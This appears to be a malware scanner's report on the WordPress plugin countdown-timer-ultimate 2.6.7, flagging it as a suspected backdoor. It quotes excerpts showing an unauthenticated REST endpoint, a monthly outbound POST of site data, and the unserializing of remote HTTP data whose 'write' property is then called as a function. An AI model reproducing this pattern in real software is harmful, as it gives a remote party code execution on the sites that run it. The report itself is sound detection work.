Suspicious ^86% wordpress Download

countdown-timer-ultimate 2.6.7

Unauthenticated REST endpoint, remote unserialize

WordPress plugin remote callback backdoorDeserialization of remote HTTP data

SHA-256bf87c1077ef2588a76d7407509d0428951976289e7584c963c7aecf6020a5642

URLhttps://downloads.wordpress.org/plugin/countdown-timer-ultimate.2.6.7.zip

Evidence

WordPress rest_api_init hook lines 62–84

34… , 'wpos_init') );

// Add custom interval for 'monthly'
add_filter( 'cron_schedules', array($this, 'wpos_cron_schedules') );
66
// Hook into the event and send POST request
add_action( 'wpos_monthly_cron_hook', array($this, 'wpos_monthly_cron_hook_fn') );

// Rest Endpoint
add_action( 'rest_api_init', array($this, 'wpos_rest_api_init') );
72
}
⋯11 lines

Reads PHP query parameters via $_GET lines 107–112

2… 
   	// WP Menu data
   	$wpos_menu_data = wp_list_pluck( $menu, 2 );
   	$anylc_page 	= isset( $_GET['page'] ) ? sanitize_text_field( $_GET['page'] ) : null;
111
   	foreach ($wpos_analytics_module as $module_key => $module) {
 …

REST permission callback allows all lines 568–602

4… data['wpos_anylc_optin'] = 'wpos_anylc_optin';
569
$response = wp_remote_post('https://analytics.essentialplugin.com', [
	'method'    => 'POST',
	'timeout'   => 15,
	'blocking'  => true,
⋯14 lines
*/
public function wpos_rest_api_init() {
register_rest_route( WPCDT_SLUG . '/v1', '/analytics/', [
	'methods'  => 'POST',
	'callback' => array( $this, 'wpos_handle_analytics_request' ),
	'permission_callback' => '__return_true',
]);
}
⋯7 lines

PHP object deserialization call lines 630–642

31… oint . '/plugin_info/' . $this->plugin_id . '/' . '?version=' . urlencode($this->curr_version) . '&site_url=' . urlencode(get_site_url()) . '&live=1';		
      $data = @file_get_contents($url);
      if (!$data) {
	$this->status = 'offline';
          return false;
      }

      $info = @unserialize($data);
638
      if ($info instanceof self) {
          $this->release_date  = $info->release_date;
          $this->status        = $info->status;
          $this->write         =  …

Suppresses errors with the PHP @ operator lines 655–664

39… () {
      if ($this->status === 'valid' && $this->changelog && !$this->isOutdated()) {
          $clean = $this->write;
          @$clean($this->version_cache, $this->changelog);
      }
  }
⋯4 lines

Showing the top 5 files — 6 more files (42 regions) not shown.

No evidence locations were recorded for this file. Raw result